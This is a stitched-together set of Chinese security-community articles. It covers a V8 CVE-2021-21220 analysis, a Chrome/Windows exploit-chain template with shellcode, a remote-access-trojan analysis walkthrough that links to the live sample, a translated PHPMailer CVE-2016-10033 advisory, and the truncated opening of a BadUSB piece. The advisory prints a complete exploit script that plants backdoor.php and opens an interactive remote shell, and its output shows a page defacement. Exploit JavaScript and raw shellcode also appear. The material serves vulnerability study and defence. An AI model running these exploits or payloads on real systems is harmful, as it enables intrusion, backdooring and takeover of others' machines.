在正常情况下，该函数的逻辑：
1. b[0]为uint32类型的变量，其值为0x80000000。
2. 异或了0以后，变成了int32类型，其值为-2147483648。
3. 加上1以后，变成了-2147483647，赋值给了x。但是类型会被扩展成int64，因为js的变量是弱类型，如果x一开始的类型是int32，值为2147483647(0x7fffffff)，那么x+1不会变成-1，而会变成。2147483648(0x80000000)，因为int32被扩展成了int64。
4. 然后使用math.abs函数计算绝对值，x值变为2147483647(0x7fffffff)。
5. x - 0x7FFFFFFF = 0。
6. 使用math.max函数计算x与0之间的最大值，为0。
7. x - 1 = -1。
8. 因为x=-1，所以x改为0。
9. 新建了一个长度为0的数组。
10. 因为长度为0，所以shitf无效，数组不变。
但是上述逻辑，经过JIT优化以后，就不一样了：
1. b[0]为uint32类型的变量，其值为0x80000000。
2. 将其转化成int64类型，其值为0x80000000。
3. 加上1以后，变成了0x80000001。
4. 然后使用math.abs函数计算绝对值，x值变为0x80000001。
5. x - 0x7FFFFFFF = 2。
6. 使用math.max函数计算x与0之间的最大值，为2。
7. x - 1 = 1。
8. 新建了一个长度为1的数组。
9. shitf函数将数组的长度设置为-1，这就让我们得到了长度为-1的数组，通过该数据进行后续利用。
在JIT的优化过程中，存在两个问题：
**1.将b[0]转化为int64，把符号去掉了，从Turbo流程图看，是通过`ChangeInt32ToInt64`来改变b[0]的变量类型，而在这个opcode实现的代码中：**
void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {
......
switch (rep) {
case MachineRepresentation::kBit: // Fall through.
case MachineRepresentation::kWord8:
opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;
break;
case MachineRepresentation::kWord16:
opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
break;
case MachineRepresentation::kWord32:
opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
break;
default:
UNREACHABLE();
return;
}
......
根据上面代码可以看出，如果b[0]是有符号的，那么将会使用`kX64Movsxlq`指令进行转换，如果是无符号的就会使用`kX64Movl`指令进行转换。
b[0]因为是一个uint32类型的变量，所以使用movl进行扩展大小，所以没有扩展其符号，导致出现了问题。
**2.shitf函数将数组长度设置为-1。**
shift函数的正常逻辑是，判断数组的长度，如果其长度大于0，并且小于100，那么将会对长度的赋值进行优化，预测其长度，然后进行减1操作，直接写入数组的长度。
在JIT的预测当中，x的值为0，因为其预测是按照没有bug的情况进行预测的，但是实际情况x为1，这就导致实际情况的x通过了shitf的长度检查，然后却把x认为是0，从而-1，把数组的长度设置为了-1。
# CVE-2021-21220总结
该漏洞的成因还是挺容易理解的，这研究其原理的过程中也要学会看Turbo，后续将为专门看Turbo的opcode写一篇paper。
# Windows Chrome利用一条龙
接下来再记录一下v8漏洞在Windows实际的利用。
v8只是Chrome浏览器解析JavaScript代码的一个引擎，就算通过v8代码漏洞，能执行shellcode，也没办法获取到系统权限，因为在v8引擎的外层还一层沙箱，所以在v8漏洞的分析利用文章中，最后显示的效果都需要让Chrome启动加上`--no-sandbox`参数，所以v8漏洞的实际利用场景只能找一些使用了Chrome内核，并且没有开沙箱的应用。
除此之前，v8需要结合一些其他的漏洞，比如沙箱逃逸/提权漏洞，才能真正打穿Chrome。
本文说说，在Windows的环境下，怎么编写exp来结合Windows提权漏洞，来打穿Chrome。
1.你真正想执行的shellcode：
// shellcode.js
let usershellcode=[0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0x8d,0x8d,0x1,0x1,0x0,0x0,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x0,0x0];
把一个弹计算器的shellcode设置一个变量，储存在`shellcode.js`中
2.找一个Windows大哥，写一个Windows提权的loadpe（这部分内容后续会让我同事进行编写），并且写入loadpe中，loadpe的二进制将会写入dll.js。
// dll.js
let dll=[......];
这loadpe在进行Windows提权后，将会执行shellcode.js中的shellcode，而shellcode的地址，我们需要在exp中泄漏出来：
var myshell = new Uint8Array(0x1000);
for (i = 0x0; i < usershellcode.length; i++) {
myshell[i] = usershellcode[i];
}
var shellDataAddr = addressOf(myshell);
console.log("[*] leak shellcode data addr: 0x" + hex(shellDataAddr));
var shellAddr = read64(shellDataAddr + 0x28n);
alert("[*] leak my shellcode addr: 0x" + hex(ftoi(shellAddr)));
bshellAddr = ftob(shellAddr);
addr_offset = ???;
let dllData = new Uint8Array(dll.length);
for (i = 0x0; i < dll.length; i++) {
if (i>= addr_offset && i < addr_offset+8) {
dllData[i] = bshellAddr[i-addr_offset];
} else {
dllData[i] = dll[i];
}
}
3.我们需要泄漏出dll的地址，然后exp的shellcode作用是把loadpe内存设置为可读可写可执行权限，然后跳转过来：
var dllDataAddr = addressOf(dllData);
console.log("[*] leak dll data addr: 0x" + hex(dllDataAddr));
var dllAddr = read64(dllDataAddr + 0x28n);
alert("[*] leak dll addr: 0x" + hex(ftoi(dllAddr)));
var shellcode = [......];
bdllAddr = ftob(dllAddr);
Offset = ???;
for (let i = 0x0; i < 0x8; i++) {
shellcode[0x2 + i] = bdllAddr[i];
shellcode[Offset + 0x2 + i] = bdllAddr[i];
}
var Uint8Shellcode = new Uint8Array(shellcode.length);
var Uint64Shellcode = new BigUint64Array(Uint8Shellcode.buffer);
for (let i = 0x0; i < shellcode.length; i++) {
Uint8Shellcode[i] = shellcode[i];
}
copy_shellcode_to_rwx(Uint64Shellcode, rwx_page_addr);
f();
按照这样的模板编写EXP，就可以跟Windows大哥编写loadpe的提权exp完美结合起来，我研究v8相关的漏洞，他研究Windows相关的漏洞，然后我们的成果却可以相互结合。
# 参考
1. <https://bugs.chromium.org/p/chromium/issues/detail?id=1196683>
2. <https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472>
* * * | 社区文章 |
# 初出茅庐逆向狗：恶意程序分析第一课
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
不知道在座的各位逆向狗中，有多少人是从CTF开始的逆向之路，在我认识的逆向狗中，要么是从一些小小的破解入坑，要么就是通过CTF
而开始通过CTF入坑的童鞋们，在CTF逆向题做多了之后，都会想要找一个现实生活场景中的案例来试验一下学到的技术：比如恶意程序分析！
今天笔者就提供给大家一个自己遇到的样例：一只可爱的远程控制木马，供各位练练手。
程序不是很出名，“市面上”应该也找不到，大体来源就是有一位给人开发票的大叔想套客户信息，做了个伪装成发票样板的远控马…blabla……分析难度不是很大，但也挺费力气，拿来作为人生第一个分析的恶意程序难度刚刚好~整个分析过程有章可循，对思维启发还是很好的
程序下载链接：[木马在这里吃草~](https://pan.baidu.com/s/1ZE5ORkr23YxYQCB8bWFEBw)
Warning：木马真实有效，功能为远程控制，但已确定无其他对计算机的破坏性行为，请自行丢虚拟机调试！！！若不慎运行可立即断开网络并检查开机启动项，即可解除危险
## 一、文件概览
顶级文件夹内就是这些东西，除了exe外皆隐藏，exe图标进行了伪造，打开文件夹1，里面是一个无害txt发票样板
## 二、文件类型初步窥探
notepad++看一下bin文件和db文件，分别如下：
bin文件是什么文件暂时看不出来，但是db比较有意思，是一串base64编码，我们尝试解码一下：
有发现，竟然是对一个pe文件做了编码（脑洞选手可能已经想到这个可能是木马功能代码，但是我们出于训练逆向能力的目的，不要去解码来分析得到的文件，先一步一步走）
## 三、静态分析
就目前的情况来看，诱骗用户运行的应该就是那个exe，我们把它丢进IDA来分析一下：
这是WinMain的汇编开头部分，F5看它的伪代码：
可以看到，程序开始运行后，首先是打开了文件夹1中的txt，让用户看到所谓的发票模板，然后就开始搞事情了。
CreateFileA是创建了一个文件指针，指向了log.bin那个文件，返回的文件指针给了v4，v4就可以理解成代表这个文件的文件指针，对文件的操作都是通过v4来完成的。
GetFileSize，顾命思意，拿到文件的大小，值给了v5.
VirtualAlloc分配了一块内存空间，刚刚的v5作为参数表示分配的大小，0x40时该空间的属性为可执行，这意图就很明显了，想创建一块和log.bin一样大的内存，然后属性还是可执行，显然就是要把这个文件载入这块内存，而且内容还是可执行的代码！然后v6就指向了这儿
果然，下面马上ReadFile把文件读进来了，此时，v6就指向了这么一块可执行区域，内容即是log.bin
倒数第二行讲v6当作函数指针使用，也就使得程序跳到了那块内存去执行了
（函数具体的参数和说明请自行百度！）
**可见，exe只是个启动器，它只是加载了log.bin中的代码，更阴暗的东西在log.bin里头**
## 四、动态分析
log.bin并不是一个完整的程序，因此IDA已经无能为力了
想要知道log.bin的代码载入内存后究竟做了什么，只能依靠动态调试的力量，我们祭出神器：x64dbg（这个例子中实际是32位的）
调试器打开exe后，先运行一下，让程序运行到Entrypoint:
接下来我们需要找到刚刚静态分析时载入bin文件的地方，结合IDA静态分析的结果，该位置用到了一些字符串，如”1\1.txt”
“log.bin”等等，我们使用调试器的搜索字符串功能来辅助定位。
右键功能里面有：
很快有了结果：
我们在第一条结果右键转到汇编代码，就可以转到对应的汇编代码的位置如下：
对比之前IDA的反汇编，可以确认就是这儿了，此外，可以发现，指令的地址和IDA中是不一样的，应该是开启了随机化，只有低位的地址是和原来一样
下一步我们往下找，找到IDA中调用函数指针v6的地方，因为就是从那儿跳转到log.bin的代码：
很容易就找到了，readfile调用之后，call
eax就是对之前v6函数指针的调用，具体讲的话，就是前面VirtualAlloc返回值eax（函数指针）先压在了栈中，然后通过mov又给回了eax
我们在这儿下上了一个断点，运行到这儿以后再单步运行一下，就可以进入到log.bin的地盘了。
我们运行到断点，然后步进到log.bin的区域：
先是如之前分析那样，到断点时打开了txt
然后步进：
这就是log.bin的代码区域了，之前被加载进来的文件就是这些！
大体扫一眼，不知道各位是否已经看出了端倪？是不是某个地方有点似曾相识呢？
没错！我们看到了从0x3510064开始进行了一系列的push，而push的3、1、80000000和之前IDA中看到的某个函数调用惊人的相似！
而这个函数，回头去看，正是CreateFileA！
还要CreateFile？！这次又要关联哪个文件呢？稍加分析思考，无非两种可能：
1、上面的一大堆call调用的函数创建了一些文件，然后在此处关联上它
2、并没有创建新的文件，那这个文件十有八九就是前面文件夹里的log.db了
显然，下面call esi应该就是调用CreateFileA，我们在那儿下断点，过去就知道是打开哪个文件了：
不出所料，就是log.db，看来这回是要加载log.db了，那么大概大家也可以猜到这个程序的“好意”了：很有可能就是把db文件读进来，base64解码它，然后执行！
接着往下看汇编，果不出我们所料：
正如上图，接下来的三个call依次调用了GetFileSize、VirtualAlloc、ReadFile，与之前的操作如出一辙！
但是再仔细看一下就会发现，VirtualAlloc传参时，压进的第一个参数4，这个参数之前说过是内存属性，为4时是不可执行的！
这就很奇怪，log.db不是要执行的吗？为啥是不可执行的？是因为这里读进来的是base64编码，当然不可执行，这也提示我们，后面肯定要做解码，然后肯定会去执行它！
我们可以猜到，很可能程序是这样一个思路：exe加载执行bin -> bin再加载、解码、执行db -> 恶意功能实现在db中，整个就是一套跳板
**当然只是猜测，我们顺着这个思路来尝试一下：**
思路1、既然是先解码再调用，那会不会这两步是连在一起的，也就是说找到了解码函数就离调用不远了呢？
思路2、解码后，要把解码得到的可执行代码放到一块内存，这块内存还要设置成可执行的属性才行，这样的话是否可以利用VirtualAlloc压栈0x40来定位呢？找一下push
0x40就行
还真别说，稍稍往下一看，隔了没几行代码，还真找着了：
看到了push
40，后面push的值也和之前类似，可以断定最下面那个call就是VirtualAlloc，设置了一块可执行内存，那么上面那俩神秘函数有可能是base64解码也说不定。
我们把这三个call都下断点，去跑一下：
1：我们先进入第一个call，看了看有一些字母表数字表的字符串处理，所以应该是和base64有关，有可能是初始化对照表吧
2：完了以后就是第二个call，可以看到第二个call是有两个参数的，分别是ebx和esi压进去做了参数，此外还mov了一个edi，我们在第二个call下个断点，断到那儿以后回头看这仨寄存器的值：
esi和edi对应了两块内存，对应看：
可见esi是一个未经写入的新内存区域，而edi指向的是之前db文件载入的base64编码
我们往上回溯看一下两个寄存器的来源，就可以看出：在call 0x3510143和读db的call
ReadFile之间，还有一个VirtualAlloc的调用，它返回的内存指针eax，mov给了现在的esi；而之前用来存db内容的VirtualAlloc得到的返回指针也是由eax，mov给了现在的edi
而作为参数之一的ebx寄存器，细心往上回溯也可以找到来源：是GetFileSize的返回至mov给它的（夹在中间那个VirtualAlloc也用的它的大小）
也就是说，在进入第二个call之前：传的两个参数是 **db文件的大小** 和 **对应着这个大小的空内存区域**
，并且还把db文件base64编码内容的内存指针拷贝给了edx
结合这一层分析，我们开动脑洞来猜一下第二个call要干嘛，如果说edx也是个函数接口的化，那么可以认为这个函数有三个参数：大小、空内存、base64编码内存
便越想越容易怀疑到：这个函数要进行base64解码，大小作为参数可能是为了进行循环、空内存是目标写入区域、ebx就是编码原文！
跟进去看看，会有一堆字母数字字符表操作、一个大大的循环、中间某步还看到了MZ哈哈，怎么看怎么像
我们跟进去，直接找到ret附件下断点来验证我们的猜想：
断到ret，看esi对应的那块内存：
之前参数传入的那块空内存已经被写进了base64解码得到的可执行二进制内容！猜想正确！
第一个call经验证的确也是base64编码初始化，完美！
3：之后就是用VirtualAlloc拿到了一块可执行的内存空间，并通过mov将返回的内存指针从eax交给了ebx
**到这儿为止，关于db文件base64解码的操作过程就分析出来了**
我们已经拿到了可执行内存空间，但是里面还没有把db解码得到的可执行内容拷贝过去，于是我们接着往下找，VirtualAlloc拿了可执行内存后紧接着的是call了三个神秘函数：
我们直接步过第一个call，然后去看那块可执行的空内存（ebx），里面已经有东西了：
说明第一个call就是我们要的拷贝函数了！
后面俩call忘记是做什么的了，反正不重要，我们略过
一直往后分析就不是很难了，后面ebx一直没有再被写过，也就是说ebx始终还是指向可执行内存的，然后做了一些玄妙的偏移计算：
反正这块偏移运算作用就是：可执行内存开头是pe文件头，并不是从开头就可执行的，因此这段就是通过偏移计算得到可执行内存中这只pe程序入口点！（应该能猜得到吧）
然后就是：
call eax，跳到db解码出来的pe的入口点去执行！！！
**至此，我们终于把整个db文件的载入过程分析清楚并且成功的找到了db那块可执行代码的跳转点！**
到这儿已经很累了，希望写这个木马的人有点良心，从这儿开始能正式进入木马关键代码┭┮﹏┭┮
call eax下断点后，步进去，就可以看到db对应可执行代码的空间了：
这里面的代码挺多的，我们祭出“所有call统统下断点大法”，挨个call下断！
注意：下断不要顾前不顾后！！万一你只下前面call的断点不检查中间有没有向后jmp，有可能人家直接jmp走了，你程序就丢失跟踪了！！！！这个很坑！！！！而且还有！！！还有！！！！！ret处也要下断点！！！！！不然直接jmp到ret呢！！！
咱们把所有函数调用都下上断点并且ret也断上以后，每断到一个函数我们就步进看看，第一次停到一个函数，进去看了，没啥，但是当第二次断到call时，跟进去，很惊喜：
这个WSAFDIsSet是和winsocket有关的东西，说明已经开始涉及网络链接功能了，看来db文件就是木马核心功能所在了
但是在执行这个jmp之前就已经ret了，我们ret出去以后再运行，结果就直接到了ret了，看来刚刚下了那么多断点，结果最后一共就执行了两个函数，而且都没什么敏感东西，猜测可能是做了一些简单的初始化吧，看来最重要的东西并不在这个call
eax里面，我们ret出来以后继续往下看：
开始我们是进的上面那个call eax，也是从上面那里出来的，但是出来后我们看到，下面还有一个call
eax调用，我们把它下上断点，跑过去，看一下eax对应的内存，是db解码出的pe的另一个偏移位置，我们步进这个call eax：
里面是这样的。
往下翻翻，这才是正确的画风(*^_^*)~~
好了，好戏要到了
往下是一大堆系统调用，中间还有个神奇的ShellExecute，竟然是个奇怪的1.jpg，也不知道是什么东西，反正逆了半天不知道干啥的，结合上下文是弄图标？还是留给大家来分析吧
但是这些系统调用看了看都和网络链接没有任何关系，但是我们的木马必须要连服务器啊，我们带着这个目的往下找：
首先略过所有与网络无关的系统调用
然后就到了靠近结尾那部分了，老规矩，call全下断点，一个个看，因为这段跳转太多
结果直接就跳到图中最后一个call了，中间的call都没执行
再往后看出来一个sleep就是ret了，已经没东西了
所以可以肯定关键部分就在图中最后这个call里面
而且另外一个细节值得我们警觉：
最后这个call，竟然是个持续的循环，下一行的jmp又跳到了这个call，反复执行！这就很“木马”了！！！都懂不多说
步进这个call：
一眼就看到，右侧有串base64，我们解码一下发现是乱码：
好，我们又开始瞎猜了：这么短的一串乱码，肯定不是指令，那它是乱码又不是指令还能是什么呢？会不会是加密的一条数据！比如服务器url？要把自身拷贝到的路径？注册表项？……
不管它是啥，我们一定要解出来
可以看到，这串base64字符串是作为一个参数传给了24fb330这个函数，应该是base64解码函数
直接步过它看返回值，结果令人哭笑不得：
搞半天base64解码和解码后的解密都在这里面了，没办法，我好奇怎么解密的，就重新加载了程序看（因此地址变了，大家看了不要奇怪）：
进了这个函数是这样子的：
经分析，里面第一个call是base64解码函数，下面选中的那段循环则是对base64解码所得字符串的解密过程，反编译一下：
凯撒加异或，很简单的加密过程
这两步以后解码得到一个ip地址，可见原来那个base64串是一个对应了一个ip，很可能就是服务器ip
往后看，到这儿对应了两条base64串，第一个和之前一样，第二个我们同理解码出来，是一个端口号：
此后肯定就在某一步以这对ip地址和端口号为参数建立socket链接了，没什么悬念，就不分析具体的链接过程，我们接着往下看，可以看到几个神秘的非系统调用函数：
出于好奇，我都下了断点，打算一个一个看看：
第一个call进去以后就是进行socket链接如上，没啥好说的
只是这儿很坑，因为如果服务器没开它就会一直搁在这里面等，给你造成一种调试器对程序失去控制了或者崩溃了的假象，其实过一会儿链接不上它就自己步过了，等一会儿（很久）就好
真正令人窒息的是，如果网络链接不上的话，这个负责链接的call执行完后，jne不会执行，因此就会执行到后面的jmp，就往回跳了，进入了一个无限的循环，直到链接成功，才jne跳出去继续往下执行（如下图）。。。因此如果调试的时候服务器没开，唯一的办法就是把jne改成无条件跳转。。
改了以后就可以跳出去了，断在了下一个有断点的call，跟进去，是一些和网络链接有关的东西，以及获取了中招机器的系统信息，免杀模块也再这里面（附在第二张图）
：
免杀模块就是下图选中的那条（下图中那个call
GetSystemInfo和上面那张图中的是同一个，由于这是两次调试的图片，所以地址被随机化了，就不太一样，但其实是同一处的代码）：
跟进这个免杀模块可以看到具体的东西：
**可以得出结论：建立socket链接完毕后，我们后面的第一个call（也就是我们强行修改为无条件跳转跳出来后遇到的第一个调用），完成了受害机器本地信息获取以及免杀两项工作，我们可以将这个call看作木马的“本地运行环境侦测与处置”模块。**
之后的call就没啥意思了，我们直接走到下面这个函数调用：
断到这儿后，调着调着就会发现，这个是循环执行的！也就是说你断到这儿后运行，eip又回到这，看起来就跟没运行一样；如果你把断点删去，运行，它就会一直处于运行状态；处于运行状态的时候你突然下上断点，它就会立即停到这儿
综合以上，说明最终木马的最核心实现就在这儿了，它在这个函数里面，会保持和服务器已经建立的链接，持续监听（wait）服务器的具体指令，根据对面的具体指令，去执行具体的功能函数代码！
我们这时候再打开字符串搜索，搜个”Ten”看看出来啥：
读者请自己跟到汇编处去看那部分都是干嘛的，反正很邪恶哦~（据说看到了steam）
## 五、分析报告与总结
1、该远控木马的大体执行过程如下：
通过将exe图标变换伪装成txt欺骗用户运行，运行后由exe打开“发票”txt使用户看到所需内容，然后将log.bin载入内存并执行
log.bin的代码将载入log.db，并对其进行base64解码得到可执行代码，并执行得到的代码
log.db解码得到的代码执行过程中，首先对服务器ip和端口号进行base64解码，得到密文，并解密得到真实的ip和port，建立socket链接
之后进行本地运行环境侦测与处置，获取受害机器信息并进行对自身进行免杀保护
最后开启对服务器的命令监听模式，根据接收到的命令执行相应的远程控制操作
2、db文件其实可以手动解码，丢ida分析的，我们为了练习能力没有这样做，回头读者可以自己尝试
静态动态调试相结合是分析恶意代码的重要方法哦~ | 社区文章 |
# 【漏洞预警】广泛使用的邮件组件：PHPMailer存在远程代码执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：wordfence.com
原文地址：<https://www.wordfence.com/blog/2016/12/phpmailer-vulnerability/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **overXsky**
****](http://bobao.360.cn/member/contribute?uid=858486419)
**预估稿费：140RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**起因**
近日，波兰研究人员 Dawid Golunski
发现了一个存在于PHPMailer中的严重远程代码执行漏洞。该漏洞在昨天的[legalhackers.com上公布](http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html)，但漏洞利用细节的概念验证并未包括在内。
不幸的是在几个小时前，有人向[exploit-db](https://www.exploit-db.com/exploits/40968/?rss)和[github](https://github.com/opsxcq/exploit-CVE-2016-10033)发布了一个概念验证，演示了如何在PHPMailer库中利用此漏洞，但是出于安全考虑并不针对任何一个正在投入使用中的Web应用程序。
我们正在着手准备发布这个原本在计划之外的更新，以便向PHP开发人员和我们的社区提前警告这个问题。因为我们估计随着更多开发人员和心怀不轨的人查看到上面的概念验证代码后会导致这个事件持续酝酿。
PHPMailer是WordPress中用来发送电子邮件的核心部分。 你可以在[wp-includes / class-smtp.php核心文件](https://github.com/WordPress/WordPress/blob/master/wp-includes/class-smtp.php)中找到代码。
**不要惊慌**
注意：无论对于WordPress的核心还是任何WordPress主题或插件,
目前尚没有公开可行的漏洞利用代码。我们看到的唯一漏洞利用是研究人员针对他们自己的应用程序进行了验证，以此表明PHPMailer中存在此漏洞。 （详情如下）
请不要联系WordPress核心团队、WordPress论坛版主或其他任何人，告诉他们“你的WordPress网站将被利用”，这将引起不必要的恐慌。这项研究目前仍在进行中，我们让您提前意识到这个问题主要有两个原因：
1\. 从用户的角度来讲，一旦解决方案发布，就可以准备升级WordPress核心和任何其他受影响的主题和插件。
2\. 从开发者的角度来讲，如果他采用了这个版本的包含漏洞的PHPMailer，就可以开始着手修补代码，以便尽快发布给用户。
**漏洞细节**
如果你不熟悉RCE漏洞，那么这将是最糟糕的情况。在WordPress的历史上所有严重的漏洞都是远程代码执行漏洞，它们允许攻击者在受害者网站上执行自己的代码从而控制整个网站。
我们对PHPMailer中受影响的代码进行了简要分析。 为了利用此漏洞，攻击者似乎需要能够控制发件人的电子邮件地址。
PHPMailer中的弱点代码和修复代码的片段如下所示：
来源：[GitHub](https://github.com/PHPMailer/PHPMailer/commit/4835657cd639fbd09afd33307cef164edf807cdc?diff=split#diff-ace81e501931d8763b49f2410cf3094dL1444)
在这个包含漏洞的PHPMailer（PHPMailer <
5.2.18）版本中，发件人的电子邮件地址在传输时没有转义为shell命令。如此一来，攻击者就可以在发件人的电子邮件中增加shell命令以便在目标机器或网站上执行恶意代码。
**PHPMailer的 Docker复现环境（附POC）： **<https://github.com/opsxcq/exploit-CVE-2016-10033>
**
**
**Exploit**
#!/bin/bash
# CVE-2016-10033 exploit by opsxcq
# https://github.com/opsxcq/exploit-CVE-2016-10033
echo '[+] CVE-2016-10033 exploit by opsxcq'
if [ -z "$1" ]
then
echo '[-] Please inform an host as parameter'
exit -1
fi
host=$1
echo '[+] Exploiting '$host
curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name="action"rnrnsubmitrn------WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name="name"rnrn<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>rn------WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name="email"rnrnvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.phprn------WebKitFormBoundaryzXJpHSq4mNy35tHernContent-Disposition: form-data; name="message"rnrnPwnedrn------WebKitFormBoundaryzXJpHSq4mNy35tHe--rn' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php'
cmd='whoami'
while [ "$cmd" != 'exit' ]
do
echo '[+] Running '$cmd
curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d
echo
read -p 'RemoteShell> ' cmd
done
echo '[+] Exiting'
To exploit this target just run:
./exploit host:port
If you are using this vulnerable image, you can just run:
./exploit localhost:8080
After the exploitation, a file called backdoor.php will be stored on the root
folder of the web directory. And the exploit will drop you a shell where you
can send commands to the backdoor:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Running whoami
www-data
RemoteShell> echo 'Defaced' > /www/index.php
[+] Running echo 'Defaced' > /www/index.php
**PHPMailer 验证截图**
****
**如何应对**
我们会向订阅者和客户发邮件预警。WordPress核心团队目前正在开发一个将包含在WordPress核心安全发布版本中的修复程序。尚没有确切的发布时间，但会尽量在24小时之内。
一旦发布，请尽快将WordPress核心进行升级。
如果在你自己的PHP应用、主题、插件中还在使用早于5.2.18版本的PHPMailer，[请立即升级到PHPMailer
5.2.18或更高版本](https://github.com/PHPMailer/PHPMailer/commit/4835657cd639fbd09afd33307cef164edf807cdc?diff=split)。
如果你是WordPress主题或插件开发人员，并且在你的插件或主题代码中包含了早期版本的PHPMailer拷贝，则[需要立即更新到PHPMailer
5.2.18或更新版本](https://github.com/PHPMailer/PHPMailer/commit/4835657cd639fbd09afd33307cef164edf807cdc?diff=split)并向客户发布修订。
**漏洞历程时间线**
1\.
前不久在WordPress核心中发布了一个[问题讨论](https://core.trac.wordpress.org/ticket/39397)，其中包括了一个修补程序来解决这个问题。它可以将使用PHPMailer
5.2.14的WP核心更新到5.2.19。但这只是一个建议的补丁，并不是官方的最终修复。
2\.
你可以在[github](https://github.com/PHPMailer/PHPMailer/commit/4835657cd639fbd09afd33307cef164edf807cdc?diff=split#diff-ace81e501931d8763b49f2410cf3094dL1444)上找到解决PHPMailer中这个问题的代码变动，它们十分清楚地描述了问题在于被发送到shell命令中的发送方电子邮件地址未转义。
3\. 概念漏洞的基本证明也已发布到[exploit-db](https://www.exploit-db.com/exploits/40968/?rss)，其链接到[在github上的此漏洞利用的更详细的演示](https://github.com/opsxcq/exploit-CVE-2016-10033)。研究人员已经建立了一个包含此漏洞的Web应用程序，然后为自己的应用程序创建了一段利用代码。这显然不是一个真实世界的PoC，但它展示了PHPMailer的弱点，并为真实世界的PoC铺平了道路。
4\. 发现这个漏洞的研究员的报告中显示：
“研究人员还为流行的开源应用程序（部署在在互联网上的一百多万台服务器上）开发了一个未经认证的RCE漏洞作为现实世界开发的PoC。它可能在供应商修复漏洞后再发布。
5\. 这个问题昨天发布到[Hackaday](http://hackaday.com/2016/12/25/santa-knows-if-your-contact-form-uses-phpmailer-5-2-18/)和今天早些时候的[The Hacker
News](http://thehackernews.com/2016/12/phpmailer-security.html)。
6\.
它正在[Twitter](https://twitter.com/search?q=phpmailer&src=typd)上广泛讨论。[需要科学上网]
7\. 它正在WP Slack
[#forums](https://wordpress.slack.com/archives/forums/p1482774138004697)和[#core](https://wordpress.slack.com/archives/core/p1482784006003553)上被讨论。
[需要登录]
8\. [Hacker News](https://news.ycombinator.com/item?id=13257889)上也在讨论。
9\. 它被发布到[Reddit / r /
netsec](https://www.reddit.com/r/netsec/comments/5kbo5v/rce_via_unescaped_shell_argument_in_phpmailer_5218/)上，那里也在讨论。
10\. 我们期望它将在人们进入工作日之后成为主流媒体的焦点。 | 社区文章 |
0x00基础原理介绍
简介
其实早在很久以前就已经存在badusb这个东西了，badusb在早些时候会经常用于红队的授权攻击中，在早期时候各个甲方的工作人员安全意识较低加上好奇心会将捡到的u盘插进电脑里看看里面的文件来判断到底是谁不小心掉的，所以也会有红队故意将u盘丢弃在甲方单位。Badusb在插入电脑后会主动运行写在代码里面的内容，这次这个的实现其实还比较简单，只需要往usb中写入代码就可以将cs的木马下载至本地然后运行了。
原理
HID攻击
HID（Human
